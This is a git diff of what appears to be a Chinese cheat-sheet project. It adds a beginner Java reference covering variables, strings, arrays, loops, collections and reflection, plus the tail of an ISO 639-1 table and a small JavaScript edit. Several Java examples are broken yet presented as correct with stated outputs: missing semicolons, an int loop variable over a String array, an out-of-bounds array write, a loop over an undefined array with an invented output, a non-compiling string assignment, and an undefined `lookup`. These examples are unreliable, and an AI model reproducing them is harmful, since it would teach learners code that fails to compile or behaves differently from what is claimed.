|
||||
`sd` | 信德语 | Sindhi | सिन्धी
|
||||
`se` | 北萨米语 | Northern Sami | Davvisámegiella
|
||||
`sg` | 桑戈语 | Sango | yângâ tî sängö
|
||||
`sh` | 塞尔维亚-克罗地亚语 | Serbo-Croatian | Српскохрватски језик
|
||||
`si` | 僧伽罗语 | Sinhala | සිංහල
|
||||
`sk` | 斯洛伐克语 | Slovak | slovenčina
|
||||
`sl` | 斯洛文尼亚语 | Slovenian | slovenščina
|
||||
`sm` | 萨摩亚语 | - | -
|
||||
`sn` | 修纳语 | Shona | chiShona
|
||||
`so` | 索马里语 | Somali | Soomaaliga
|
||||
`sq` | 阿尔巴尼亚语 | Albanian | Shqip
|
||||
`sr` | 塞尔维亚语 | Serbian | српски језик
|
||||
`ss` | 斯威士语 | Swati | SiSwati
|
||||
`st` | 塞索托语 | Southern Sotho | Sesotho
|
||||
`su` | 巽他语 | Sundanese | Basa Sunda
|
||||
`sv` | 瑞典语 | Swedish | Svenska
|
||||
`sw` | 斯瓦希里语 | Swahili | Kiswahili
|
||||
`ta` | 泰米尔语 | Tamil | தமிழ்
|
||||
`te` | 泰卢固语 | Telugu | తెలుగు
|
||||
`tg` | 塔吉克语 | Tajik | тоҷикӣ
|
||||
`th` | 泰语 | Thai | ไทย
|
||||
`ti` | 提格雷尼亚语 | Tigrinya | ትግርኛ
|
||||
`tk` | 土库曼语 | Turkmen | Türkmen
|
||||
`tl` | 他加禄语 | Tagalog | Wikang Tagalog
|
||||
`tn` | 茨瓦纳语 | Tswana | Setswana
|
||||
`to` | 汤加语 | Tonga | faka Tonga
|
||||
`tr` | 土耳其语 | Turkish | Türkçe
|
||||
`ts` | 宗加语 | Tsonga | Xitsonga
|
||||
`tt` | 塔塔尔语 | Tatar | татар теле
|
||||
`tw` | 特威语 | Twi | Twi
|
||||
`ty` | 塔希提语 | Tahitian | Reo Tahiti
|
||||
`ug` | 维吾尔语 | Uyghur | ئۇيغۇرچە
|
||||
`uk` | 乌克兰语 | Ukrainian | Українська
|
||||
`ur` | 乌尔都语 | Urdu | اردو
|
||||
`uz` | 乌兹别克语 | Uzbek | Ўзбек
|
||||
`ve` | 文达语 | Venda | Tshivenḓa
|
||||
`vi` | 越南语 | Vietnamese | Tiếng Việt
|
||||
`vo` | 沃拉普克语 | Volapük | Volapük
|
||||
`wa` | 瓦隆语 | Walloon | walon
|
||||
`wo` | 沃洛夫语 | Wolof | Wollof
|
||||
`xh` | 科萨语 | Xhosa | isiXhosa
|
||||
`yi` | 依地语 | Yiddish | ייִדיש
|
||||
`yo` | 约鲁巴语 | Yoruba | Yorùbá
|
||||
`za` | 壮语 | Zhuang | Saɯ cueŋƅ
|
||||
`zh` | 汉语(中文) | Chinese | 中文
|
||||
`zu` | 祖鲁语 | Zulu | isiZulu
|
||||
<!--rehype:className=show-header-->
|
||||
|
||||
### SO 639-1 新增了以下语言
|
||||
<!--rehype:wrap-class=col-span-3-->
|
||||
|
||||
ISO 639-1 | ISO 639-2 | 名称 | 更改日期 | 更改类型 | 曾用代码
|
||||
:-|:-|:-|:-|:-|:-
|
||||
io | ido | 伊多语 | 2002年1月15日 | 新增 | art
|
||||
wa | wln | 瓦隆语 | 2002年1月29日 | 新增 | roa
|
||||
li | lim | 林堡语 | 2002年8月2日 | 新增 | gem
|
||||
ii | iii | 四川省彝语(诺苏语) | 2002年10月14日 | 新增 | -
|
||||
an | arg | 阿拉贡语 | 2002年12月23日 | 新增 | roa
|
||||
ht | hat | 海地克里奥尔语 | 2003年2月26日 | 新增 | cpf
|
||||
<!--rehype:className=show-header-->
|
||||
|
||||
自 [RFC 3066](https://tools.ietf.org/html/rfc3066) 出版后,ISO 639-1 新增了以上语言
|
||||
|
||||
另见
|
||||
---
|
||||
<!--rehype:wrap-class=col-span-3-->
|
||||
|
||||
- [国际化与本地化](https://zh.wikipedia.org/wiki/国际化与本地化) _(wikipedia.org)_
|
||||
- [ISO_639-1](https://zh.wikipedia.org/wiki/ISO_639-1) _(wikipedia.org)_
|
823
docs/java.md
Normal file
823
docs/java.md
Normal file
@ -0,0 +1,823 @@
|
||||
Java 备忘清单
|
||||
===
|
||||
|
||||
该备忘单是针对 Java 初学者的速成课程,有助于复习 Java 语言的基本语法。
|
||||
|
||||
入门
|
||||
--------
|
||||
|
||||
### Hello.java
|
||||
<!--rehype:wrap-class=row-span-2-->
|
||||
|
||||
```java
|
||||
public class Hello {
|
||||
// 主要方法
|
||||
public static void main(String[] args)
|
||||
{
|
||||
// 输出: Hello, world!
|
||||
System.out.println("Hello, world!");
|
||||
}
|
||||
}
|
||||
```
|
||||
|
||||
编译和运行
|
||||
|
||||
```shell
|
||||
$ javac Hello.java
|
||||
$ java Hello
|
||||
Hello, world!
|
||||
```
|
||||
|
||||
### 变量 Variables
|
||||
|
||||
```java
|
||||
int num = 5;
|
||||
float floatNum = 5.99f;
|
||||
char letter = 'D';
|
||||
boolean bool = true;
|
||||
String site = "quickref.me";
|
||||
```
|
||||
|
||||
### 原始数据类型
|
||||
<!--rehype:wrap-class=row-span-2-->
|
||||
|
||||
| 数据类型 | 大小 | 默认 | 范围 |
|
||||
|-----------|--------|---------|---------------------|
|
||||
| `byte` | 1 byte | 0 | -128 ^to^ 127 |
|
||||
| `short` | 2 byte | 0 | -2^15^ ^to^ 2^15^-1 |
|
||||
| `int` | 4 byte | 0 | -2^31^ ^to^ 2^31^-1 |
|
||||
| `long` | 8 byte | 0 | -2^63^ ^to^ 2^63^-1 |
|
||||
| `float` | 4 byte | 0.0f | _N/A_ |
|
||||
| `double` | 8 byte | 0.0d | _N/A_ |
|
||||
| `char` | 2 byte | \\u0000 | 0 ^to^ 65535 |
|
||||
| `boolean` | _N/A_ | false | true / false |
|
||||
<!--rehype:className=show-header-->
|
||||
|
||||
### 字符串 Strings
|
||||
|
||||
```java
|
||||
String first = "John";
|
||||
String last = "Doe";
|
||||
String name = first + " " + last;
|
||||
System.out.println(name);
|
||||
```
|
||||
|
||||
查看: [Strings](#java-字符串)
|
||||
|
||||
### 循环 Loops
|
||||
|
||||
```java
|
||||
String word = "QuickRef";
|
||||
for (char c: word.toCharArray()) {
|
||||
System.out.print(c + "-");
|
||||
}
|
||||
// 输出: Q-u-i-c-k-R-e-f-
|
||||
```
|
||||
|
||||
查看: [Loops](#java-循环)
|
||||
|
||||
### 数组 Arrays
|
||||
|
||||
```java
|
||||
char[] chars = new char[10];
|
||||
chars[0] = 'a'
|
||||
chars[1] = 'b'
|
||||
String[] letters = {"A", "B", "C"};
|
||||
int[] mylist = {100, 200};
|
||||
boolean[] answers = {true, false};
|
||||
```
|
||||
|
||||
查看: [Arrays](#java-数组)
|
||||
|
||||
### Swap
|
||||
|
||||
```java
|
||||
int a = 1;
|
||||
int b = 2;
|
||||
System.out.println(a + " " + b); // 1 2
|
||||
int temp = a;
|
||||
a = b;
|
||||
b = temp;
|
||||
System.out.println(a + " " + b); // 2 1
|
||||
```
|
||||
|
||||
### Type Casting
|
||||
|
||||
```java
|
||||
// Widening
|
||||
// byte<short<int<long<float<double
|
||||
int i = 10;
|
||||
long l = i; // 10
|
||||
// Narrowing
|
||||
double d = 10.02;
|
||||
long l = (long)d; // 10
|
||||
String.valueOf(10); // "10"
|
||||
Integer.parseInt("10"); // 10
|
||||
Double.parseDouble("10"); // 10.0
|
||||
```
|
||||
|
||||
### 条件语句 Conditionals
|
||||
|
||||
```java
|
||||
int j = 10;
|
||||
if (j == 10) {
|
||||
System.out.println("I get printed");
|
||||
} else if (j > 10) {
|
||||
System.out.println("I don't");
|
||||
} else {
|
||||
System.out.println("I also don't");
|
||||
}
|
||||
```
|
||||
|
||||
查看: [Conditionals](#条件语句 Conditionals)
|
||||
|
||||
### 用户输入
|
||||
|
||||
```java
|
||||
Scanner in = new Scanner(System.in);
|
||||
String str = in.nextLine();
|
||||
System.out.println(str);
|
||||
int num = in.nextInt();
|
||||
System.out.println(num);
|
||||
```
|
||||
|
||||
Java 字符串
|
||||
-------
|
||||
|
||||
### 基本的
|
||||
|
||||
```java
|
||||
String str1 = "value";
|
||||
String str2 = new String("value");
|
||||
String str3 = String.valueOf(123);
|
||||
```
|
||||
|
||||
### 字符串连接
|
||||
|
||||
```java
|
||||
String s = 3 + "str" + 3; // 3str3
|
||||
String s = 3 + 3 + "str"; // 6str
|
||||
String s = "3" + 3 + "str"; // 33str
|
||||
String s = "3" + "3" + "23"; // 3323
|
||||
String s = "" + 3 + 3 + "23"; // 3323
|
||||
String s = 3 + 3 + 23; // 29
|
||||
```
|
||||
|
||||
### 字符串生成器
|
||||
<!--rehype:wrap-class=row-span-3-->
|
||||
|
||||
```java
|
||||
StringBuilder sb = new StringBuilder(10);
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
```java
|
||||
┌───┬───┬───┬───┬───┬───┬───┬───┬───┐
|
||||
| | | | | | | | | |
|
||||
└───┴───┴───┴───┴───┴───┴───┴───┴───┘
|
||||
0 1 2 3 4 5 6 7 8 9
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
```java
|
||||
sb.append("Reference");
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
```java
|
||||
┌───┬───┬───┬───┬───┬───┬───┬───┬───┐
|
||||
| R | e | f | e | r | e | n | c | e |
|
||||
└───┴───┴───┴───┴───┴───┴───┴───┴───┘
|
||||
0 1 2 3 4 5 6 7 8 9
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
```java
|
||||
sb.delete(3, 9);
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
```java
|
||||
┌───┬───┬───┬───┬───┬───┬───┬───┬───┐
|
||||
| R | e | f | | | | | | |
|
||||
└───┴───┴───┴───┴───┴───┴───┴───┴───┘
|
||||
0 1 2 3 4 5 6 7 8 9
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
```java
|
||||
sb.insert(0, "My ");
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
```java
|
||||
┌───┬───┬───┬───┬───┬───┬───┬───┬───┐
|
||||
| M | y | | R | e | f | | | |
|
||||
└───┴───┴───┴───┴───┴───┴───┴───┴───┘
|
||||
0 1 2 3 4 5 6 7 8 9
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
```java
|
||||
sb.append("!");
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
```java
|
||||
┌───┬───┬───┬───┬───┬───┬───┬───┬───┐
|
||||
| M | y | | R | e | f | ! | | |
|
||||
└───┴───┴───┴───┴───┴───┴───┴───┴───┘
|
||||
0 1 2 3 4 5 6 7 8 9
|
||||
```
|
||||
|
||||
### 比较
|
||||
|
||||
```java
|
||||
String s1 = new String("QuickRef");
|
||||
String s2 = new String("QuickRef");
|
||||
s1 == s2 // false
|
||||
s1.equals(s2) // true
|
||||
"AB".equalsIgnoreCase("ab") // true
|
||||
```
|
||||
|
||||
### 操纵
|
||||
|
||||
```java
|
||||
String str = "Abcd";
|
||||
str.toUpperCase(); // ABCD
|
||||
str.toLowerCase(); // abcd
|
||||
str.concat("#"); // Abcd#
|
||||
str.replace("b", "-"); // A-cd
|
||||
" abc ".trim(); // abc
|
||||
"ab".toCharArray(); // {'a', 'b'}
|
||||
```
|
||||
|
||||
### 信息
|
||||
|
||||
```java
|
||||
String str = "abcd";
|
||||
str.charAt(2); // c
|
||||
str.indexOf("a") // 0
|
||||
str.indexOf("z") // -1
|
||||
str.length(); // 4
|
||||
str.toString(); // abcd
|
||||
str.substring(2); // cd
|
||||
str.substring(2,3); // c
|
||||
str.contains("c"); // true
|
||||
str.endsWith("d"); // true
|
||||
str.startsWith("a"); // true
|
||||
str.isEmpty(); // false
|
||||
```
|
||||
|
||||
### 不可变
|
||||
|
||||
```java
|
||||
String str = "hello";
|
||||
str.concat("world");
|
||||
// 输出: hello
|
||||
System.out.println(str);
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
```java
|
||||
String str = "hello";
|
||||
String concat = str.concat("world");
|
||||
// 输出: helloworld
|
||||
System.out.println(concat);
|
||||
```
|
||||
|
||||
一旦创建就不能修改,任何修改都会创建一个新的String
|
||||
|
||||
Java 数组
|
||||
-------
|
||||
|
||||
### 声明 Declare
|
||||
|
||||
```java
|
||||
int[] a1;
|
||||
int[] a2 = {1, 2, 3};
|
||||
int[] a3 = new int[]{1, 2, 3};
|
||||
int[] a4 = new int[3];
|
||||
a4[0] = 1;
|
||||
a4[2] = 2;
|
||||
a4[3] = 3;
|
||||
```
|
||||
|
||||
### 修改 Modify
|
||||
|
||||
```java
|
||||
int[] a = {1, 2, 3};
|
||||
System.out.println(a[0]); // 1
|
||||
a[0] = 9;
|
||||
System.out.println(a[0]); // 9
|
||||
System.out.println(a.length); // 3
|
||||
```
|
||||
|
||||
### 循环 (读 & 写)
|
||||
|
||||
```java
|
||||
int[] arr = {1, 2, 3};
|
||||
for (int i=0; i < arr.length; i++) {
|
||||
arr[i] = arr[i] * 2;
|
||||
System.out.print(arr[i] + " ");
|
||||
}
|
||||
// 输出: 2 4 6
|
||||
```
|
||||
|
||||
### Loop (Read)
|
||||
|
||||
```java
|
||||
String[] arr = {"a", "b", "c"};
|
||||
for (int a: arr) {
|
||||
System.out.print(a + " ");
|
||||
}
|
||||
// 输出: a b c
|
||||
```
|
||||
|
||||
### Multidimensional Arrays
|
||||
|
||||
```java
|
||||
int[][] matrix = { {1, 2, 3}, {4, 5} };
|
||||
int x = matrix[1][0]; // 4
|
||||
// [[1, 2, 3], [4, 5]]
|
||||
Arrays.deepToString(matrix)
|
||||
for (int i = 0; i < a.length; ++i) {
|
||||
for(int j = 0; j < a[i].length; ++j) {
|
||||
System.out.println(a[i][j]);
|
||||
}
|
||||
}
|
||||
// 输出: 1 2 3 4 5 6 7
|
||||
```
|
||||
|
||||
### Sort
|
||||
|
||||
```java
|
||||
char[] chars = {'b', 'a', 'c'};
|
||||
Arrays.sort(chars);
|
||||
// [a, b, c]
|
||||
Arrays.toString(chars);
|
||||
```
|
||||
|
||||
Java 条件语句
|
||||
-----------
|
||||
|
||||
### 运算符
|
||||
<!--rehype:wrap-class=row-span-3-->
|
||||
|
||||
- `+` _(加法运算符(也用于字符串连接))_
|
||||
- `-` _(减法运算符)_
|
||||
- `*` _(乘法运算符)_
|
||||
- `/` _(分区运算符)_
|
||||
- `%` _(余数运算符)_
|
||||
- `=` _(简单赋值运算符)_
|
||||
- `++` _(增量运算符;将值增加 1)_
|
||||
- `--` _(递减运算符;将值减 1)_
|
||||
- `!` _(逻辑补码运算符;反转布尔值)_
|
||||
<!--rehype:className=style-round-->
|
||||
|
||||
---
|
||||
|
||||
- `==` _(等于)_
|
||||
- `!=` _(不等于)_
|
||||
- `>` _(比...更棒)_
|
||||
- `>=` _(大于或等于)_
|
||||
- `<` _(少于)_
|
||||
- `<=` _(小于或等于)_
|
||||
<!--rehype:className=cols-2 style-round-->
|
||||
|
||||
---
|
||||
|
||||
- `&&` _条件与_
|
||||
- `||` _条件或_
|
||||
- [?:](#三元运算符) _三元(if-then-else 语句的简写)_
|
||||
<!--rehype:className=style-round-->
|
||||
|
||||
---
|
||||
|
||||
- `instanceof` _(将对象与指定类型进行比较)_
|
||||
<!--rehype:className=style-round-->
|
||||
|
||||
---
|
||||
|
||||
- `~` _(一元按位补码)_
|
||||
- `<<` _(签名左移)_
|
||||
- `>>` _(有符号右移)_
|
||||
- `>>>` _(无符号右移)_
|
||||
- `&` _(按位与)_
|
||||
- `^` _(按位异或)_
|
||||
- `|` _(按位包含 OR)_
|
||||
<!--rehype:className=cols-2 style-round-->
|
||||
|
||||
### If else
|
||||
|
||||
```java
|
||||
int k = 15;
|
||||
if (k > 20) {
|
||||
System.out.println(1);
|
||||
} else if (k > 10) {
|
||||
System.out.println(2);
|
||||
} else {
|
||||
System.out.println(3);
|
||||
}
|
||||
```
|
||||
|
||||
### Switch
|
||||
<!--rehype:wrap-class=row-span-2-->
|
||||
|
||||
```java
|
||||
int month = 3;
|
||||
String str;
|
||||
switch (month) {
|
||||
case 1:
|
||||
str = "January";
|
||||
break;
|
||||
case 2:
|
||||
str = "February";
|
||||
break;
|
||||
case 3:
|
||||
str = "March";
|
||||
break;
|
||||
default:
|
||||
str = "Some other month";
|
||||
break;
|
||||
}
|
||||
// 输出: Result March
|
||||
System.out.println("Result " + str);
|
||||
```
|
||||
|
||||
### 三元运算符
|
||||
|
||||
```java
|
||||
int a = 10;
|
||||
int b = 20;
|
||||
int max = (a > b) ? a : b;
|
||||
// 输出: 20
|
||||
System.out.println(max);
|
||||
```
|
||||
|
||||
Java 循环
|
||||
----
|
||||
|
||||
### For 循环
|
||||
|
||||
```java
|
||||
for (int i = 0; i < 10; i++) {
|
||||
System.out.print(i);
|
||||
}
|
||||
// 输出: 0123456789
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
```java
|
||||
for (int i = 0,j = 0; i < 3; i++,j--) {
|
||||
System.out.print(j + "|" + i + " ");
|
||||
}
|
||||
// 输出: 0|0 -1|1 -2|2
|
||||
```
|
||||
|
||||
### 增强的 For 循环
|
||||
|
||||
```java
|
||||
int[] numbers = {1,2,3,4,5};
|
||||
for (int number: numbers) {
|
||||
System.out.print(number);
|
||||
}
|
||||
// 输出: 12345
|
||||
```
|
||||
|
||||
用于循环数组或列表
|
||||
|
||||
### While 循环
|
||||
|
||||
```java
|
||||
int count = 0;
|
||||
while (count < 5) {
|
||||
System.out.print(count);
|
||||
count++;
|
||||
}
|
||||
// 输出: 01234
|
||||
```
|
||||
|
||||
### Do While 循环
|
||||
|
||||
```java
|
||||
int count = 0;
|
||||
do {
|
||||
System.out.print(count);
|
||||
count++;
|
||||
} while (count < 5);
|
||||
// 输出: 01234
|
||||
```
|
||||
|
||||
### 继续声明
|
||||
|
||||
```java
|
||||
for (int i = 0; i < 5; i++) {
|
||||
if (i == 3) {
|
||||
continue;
|
||||
}
|
||||
System.out.print(i);
|
||||
}
|
||||
// 输出: 01245
|
||||
```
|
||||
|
||||
### 中断语句
|
||||
|
||||
```java
|
||||
for (int i = 0; i < 5; i++) {
|
||||
System.out.print(i);
|
||||
if (i == 3) {
|
||||
break;
|
||||
}
|
||||
}
|
||||
// 输出: 0123
|
||||
```
|
||||
|
||||
Java 框架搜集
|
||||
--------------------
|
||||
|
||||
### Java 搜集
|
||||
<!--rehype:wrap-class=col-span-2 row-span-2-->
|
||||
|
||||
搜集 | Interface | 有序 | 已排序 | 线程安全 | 复制 | Nullable
|
||||
:-|:-|:-|:-|:-|:-|:-
|
||||
[ArrayList](https://docs.oracle.com/javase/8/docs/api/java/util/ArrayList.html) | List | Y | _N_ | _N_ | Y | Y
|
||||
[Vector](https://docs.oracle.com/javase/8/docs/api/java/util/Vector.html) | List | Y | _N_ | Y | Y | Y
|
||||
[LinkedList](https://docs.oracle.com/javase/8/docs/api/java/util/LinkedList.html) | List, Deque | Y | _N_ | _N_ | Y | Y
|
||||
[CopyOnWriteArrayList](https://docs.oracle.com/javase/8/docs/api/java/util/concurrent/CopyOnWriteArrayList.html) | List | Y | _N_ | Y | Y | Y
|
||||
[HashSet](https://docs.oracle.com/javase/8/docs/api/java/util/HashSet.html) | Set | _N_ | _N_ | _N_ | _N_ | One `null`
|
||||
[LinkedHashSet](https://docs.oracle.com/javase/8/docs/api/java/util/LinkedHashSet.html) | Set | Y | _N_ | _N_ | _N_ | One `null`
|
||||
[TreeSet](https://docs.oracle.com/javase/8/docs/api/java/util/TreeSet.html) | Set | Y | Y | _N_ | _N_ | _N_
|
||||
[CopyOnWriteArraySet](https://docs.oracle.com/javase/8/docs/api/java/util/concurrent/CopyOnWriteArraySet.html) | Set | Y | _N_ | Y | _N_ | One `null`
|
||||
[ConcurrentSkipListSet](https://docs.oracle.com/javase/8/docs/api/java/util/concurrent/ConcurrentSkipListSet.html) | Set | Y | Y | Y | _N_ | _N_
|
||||
[HashMap](https://docs.oracle.com/javase/8/docs/api/java/util/HashMap.html) | Map | _N_ | _N_ | _N_ | _N (key)_ | One `null` _(key)_
|
||||
[HashTable](https://docs.oracle.com/javase/8/docs/api/java/util/Hashtable.html) | Map | _N_ | _N_ | Y | _N (key)_ | _N (key)_
|
||||
[LinkedHashMap](https://docs.oracle.com/javase/8/docs/api/java/util/LinkedHashMap.html) | Map | Y | _N_ | _N_ | _N (key)_ | One `null` _(key)_
|
||||
[TreeMap](https://docs.oracle.com/javase/8/docs/api/java/util/TreeMap.html) | Map | Y | Y | _N_ | _N (key)_ | _N (key)_
|
||||
[ConcurrentHashMap](https://docs.oracle.com/javase/8/docs/api/java/util/concurrent/ConcurrentHashMap.html) | Map | _N_ | _N_ | Y | _N (key)_ | _N_
|
||||
[ConcurrentSkipListMap](https://docs.oracle.com/javase/8/docs/api/java/util/concurrent/ConcurrentSkipListMap.html) | Map | Y | Y | Y | _N (key)_ | _N_
|
||||
[ArrayDeque](https://docs.oracle.com/javase/8/docs/api/java/util/ArrayDeque.html) | Deque | Y | _N_ | _N_ | Y | _N_
|
||||
[PriorityQueue](https://docs.oracle.com/javase/8/docs/api/java/util/PriorityQueue.html) | Queue | Y | _N_ | _N_ | Y | _N_
|
||||
[ConcurrentLinkedQueue](https://docs.oracle.com/javase/8/docs/api/java/util/concurrent/ConcurrentLinkedQueue.html) | Queue | Y | _N_ | Y | Y | _N_
|
||||
[ConcurrentLinkedDeque](https://docs.oracle.com/javase/8/docs/api/java/util/concurrent/ConcurrentLinkedDeque.html) | Deque | Y | _N_ | Y | Y | _N_
|
||||
[ArrayBlockingQueue](https://docs.oracle.com/javase/8/docs/api/java/util/concurrent/ArrayBlockingQueue.html) | Queue | Y | _N_ | Y | Y | _N_
|
||||
[LinkedBlockingDeque](https://docs.oracle.com/javase/8/docs/api/java/util/concurrent/LinkedBlockingDeque.html) | Deque | Y | _N_ | Y | Y | _N_
|
||||
[PriorityBlockingQueue](https://docs.oracle.com/javase/8/docs/api/java/util/concurrent/PriorityBlockingQueue.html) | Queue | Y | _N_ | Y | Y | _N_
|
||||
<!--rehype:className=show-header-->
|
||||
|
||||
### ArrayList
|
||||
|
||||
```java
|
||||
List<Integer> nums = new ArrayList<>();
|
||||
// 添加
|
||||
nums.add(2);
|
||||
nums.add(5);
|
||||
nums.add(8);
|
||||
// 检索
|
||||
System.out.println(nums.get(0));
|
||||
// 为循环迭代编制索引
|
||||
for (int i = 0; i < nums.size(); i++) {
|
||||
System.out.println(nums.get(i));
|
||||
}
|
||||
nums.remove(nums.size() - 1);
|
||||
nums.remove(0); // 非常慢
|
||||
for (Integer value : nums) {
|
||||
System.out.println(value);
|
||||
}
|
||||
```
|
||||
|
||||
### HashMap
|
||||
|
||||
```java
|
||||
Map<Integer, String> m = new HashMap<>();
|
||||
m.put(5, "Five");
|
||||
m.put(8, "Eight");
|
||||
m.put(6, "Six");
|
||||
m.put(4, "Four");
|
||||
m.put(2, "Two");
|
||||
// 检索
|
||||
System.out.println(m.get(6));
|
||||
// Lambda forEach
|
||||
m.forEach((key, value) -> {
|
||||
String msg = key + ": " + value;
|
||||
System.out.println(msg);
|
||||
});
|
||||
```
|
||||
|
||||
### HashSet
|
||||
|
||||
```java
|
||||
Set<String> set = new HashSet<>();
|
||||
if (set.isEmpty()) {
|
||||
System.out.println("Empty!");
|
||||
}
|
||||
set.add("dog");
|
||||
set.add("cat");
|
||||
set.add("mouse");
|
||||
set.add("snake");
|
||||
set.add("bear");
|
||||
if (set.contains("cat")) {
|
||||
System.out.println("Contains cat");
|
||||
}
|
||||
set.remove("cat");
|
||||
for (String element : set) {
|
||||
System.out.println(element);
|
||||
}
|
||||
```
|
||||
|
||||
### ArrayDeque
|
||||
|
||||
```java
|
||||
Deque<String> a = new ArrayDeque<>();
|
||||
// 使用 add()
|
||||
a.add("Dog");
|
||||
// 使用 addFirst()
|
||||
a.addFirst("Cat");
|
||||
// 使用 addLast()
|
||||
a.addLast("Horse");
|
||||
// [Cat, Dog, Horse]
|
||||
System.out.println(a);
|
||||
// 访问元素
|
||||
System.out.println(a.peek());
|
||||
// 移除元素
|
||||
System.out.println(a.pop());
|
||||
```
|
||||
|
||||
杂项 Misc
|
||||
----
|
||||
|
||||
### 访问修饰符
|
||||
<!--rehype:wrap-class=col-span-2-->
|
||||
|
||||
| 修饰符 | Class | Package | Subclass | World |
|
||||
|-------------|-------|---------|----------|-------|
|
||||
| public | Y | Y | Y | Y |
|
||||
| protected | Y | Y | Y | _N_ |
|
||||
| no modifier | Y | Y | _N_ | _N_ |
|
||||
| private | Y | _N_ | _N_ | _N_ |
|
||||
<!--rehype:className=show-header-->
|
||||
|
||||
### 常用表达
|
||||
|
||||
```java
|
||||
String text = "I am learning Java";
|
||||
// 删除所有空格
|
||||
text.replaceAll("\\s+", "");
|
||||
// 拆分字符串
|
||||
text.split("\\|");
|
||||
text.split(Pattern.quote("|"));
|
||||
```
|
||||
|
||||
查看: [Regex in java](./regex.md#java-中的正则表达式)
|
||||
|
||||
### 注释 Comment
|
||||
|
||||
```java
|
||||
// 我是单行注释!
|
||||
|
||||
/*
|
||||
而我是一个
|
||||
多行注释!
|
||||
*/
|
||||
/**
|
||||
* 这个
|
||||
* 是
|
||||
* 文档
|
||||
* 注释
|
||||
*/
|
||||
```
|
||||
|
||||
### 关键字
|
||||
<!--rehype:wrap-class=col-span-2-->
|
||||
|
||||
- abstract
|
||||
- continue
|
||||
- for
|
||||
- new
|
||||
- switch
|
||||
- assert
|
||||
- default
|
||||
- goto
|
||||
- package
|
||||
- synchronized
|
||||
- boolean
|
||||
- do
|
||||
- if
|
||||
- private
|
||||
- this
|
||||
- break
|
||||
- double
|
||||
- implements
|
||||
- protected
|
||||
- throw
|
||||
- byte
|
||||
- else
|
||||
- import
|
||||
- public
|
||||
- throws
|
||||
- case
|
||||
- enum
|
||||
- instanceof
|
||||
- return
|
||||
- transient
|
||||
- catch
|
||||
- extends
|
||||
- int
|
||||
- short
|
||||
- try
|
||||
- char
|
||||
- final
|
||||
- interface
|
||||
- static
|
||||
- void
|
||||
- class
|
||||
- finally
|
||||
- long
|
||||
- strictfp
|
||||
- volatile
|
||||
- const
|
||||
- float
|
||||
- native
|
||||
- super
|
||||
- while
|
||||
<!--rehype:className=cols-7 style-none-->
|
||||
|
||||
### 数学方法
|
||||
|
||||
方法 | 说明
|
||||
:-|:-
|
||||
`Math.max(a,b)` | `a` 和 `b` 的最大值
|
||||
`Math.min(a,b)` | `a` 和 `b` 的最小值
|
||||
`Math.abs(a)` | 绝对值
|
||||
`Math.sqrt(a)` | `a` 的平方根
|
||||
`Math.pow(a,b)` | `b` 的幂
|
||||
`Math.round(a)` | 最接近的整数
|
||||
`Math.sin(ang)` | 正弦
|
||||
`Math.cos(ang)` | `ang` 的余弦
|
||||
`Math.tan(ang)` | `ang` 的切线
|
||||
`Math.asin(ang)` | `ang` 的反正弦
|
||||
`Math.log(a)` | `a` 的自然对数
|
||||
`Math.toDegrees(rad)` | 以度为单位的角度弧度
|
||||
`Math.toRadians(deg)` | 以弧度为单位的角度度
|
||||
|
||||
### Try/Catch/Finally
|
||||
|
||||
```java
|
||||
try {
|
||||
// something
|
||||
} catch (Exception e) {
|
||||
e.printStackTrace();
|
||||
} finally {
|
||||
System.out.println("always printed");
|
||||
}
|
||||
```
|
||||
|
||||
### 反射
|
||||
|
||||
```java
|
||||
/**
|
||||
* 利用反射动态加载依赖库
|
||||
* java9及以上版本可用
|
||||
* @param jar jar文件
|
||||
*/
|
||||
Method method = URLClassLoader.class.getDeclaredMethod("addURL", URL.class);
|
||||
method.setAccessible(true);
|
||||
MethodHandle addURL = lookup.unreflect(method);
|
||||
URL url = jar.toURI().toURL();
|
||||
URLClassLoader urlClassLoader = new URLClassLoader(new URL[] {url});
|
||||
addURL.invoke(urlClassLoader, url);
|
||||
//java8
|
||||
Method method = URLClassLoader.class.getDeclaredMethod("addURL", URL.class);
|
||||
method.setAccessible(true);
|
||||
method.invoke(classLoader, url);
|
||||
```
|
||||
|
||||
### util工具类
|
||||
|
||||
- `ArrayDeque` 提供 resizable-array 并实现 Deque 接
|
||||
- `Arrays` 包含一个静态工厂,允许将数组视为列表
|
||||
- `Collections` 包含对集合进行操作或返回集合的静态方法
|
||||
- `Date` 表示特定的时间瞬间,精度为毫秒
|
||||
- `Dictionary` 是任何类的抽象父类,例如 Hashtable,它将键映射到值
|
||||
- `EnumMap` 一个专门用于枚举键的 Map 实现
|
||||
- `EnumSet` 一个专门用于枚举键的 Set 实现
|
||||
- `Formatter` 提供对布局对齐和对齐、数字、字符串和日期/时间数据的常用格式以及特定于语言环境的输出的支持
|
||||
- `SecureRandom` 实例用于生成安全的伪随机数流
|
||||
- `UUID` 表示一个不可变的通用唯一标识符
|
||||
- `Vector` 实现了一个可增长的对象数组
|
||||
|
||||
另见
|
||||
---
|
||||
|
||||
- [Java 官网](https://www.java.com/zh-CN/) _(java.com)_
|
@ -42,6 +42,7 @@ function potentiallyBuggyCode() {
|
||||
let amount = 6;
|
||||
let price = 4.99;
|
||||
let home = 1e2;
|
||||
let num = 1_000_000; // 位数过多可以用 _ 分割
|
||||
let m = 0644; // 八进制数字 420
|
||||
```
|
||||
|
||||
@ -54,7 +55,6 @@ count = 10;
|
||||
console.log(count); // => 10
|
||||
```
|
||||
|
||||
|
||||
### const 关键字
|
||||
|
||||
```javascript
|
||||
@ -143,13 +143,24 @@ abc.concat(" ", str2); // abc + " " + str2
|
||||
abc.charAt(2); // 索引处的字符:“c”
|
||||
abc[2]; // 不安全,abc[2] = "C" 不起作用
|
||||
// 索引处的字符代码:“c”-> 99
|
||||
abc.charCodeAt(2);
|
||||
abc.charCodeAt(2);
|
||||
// 用逗号分割字符串给出一个数组
|
||||
abc.split(",");
|
||||
abc.split(",");
|
||||
// 分割字符
|
||||
abc.split("");
|
||||
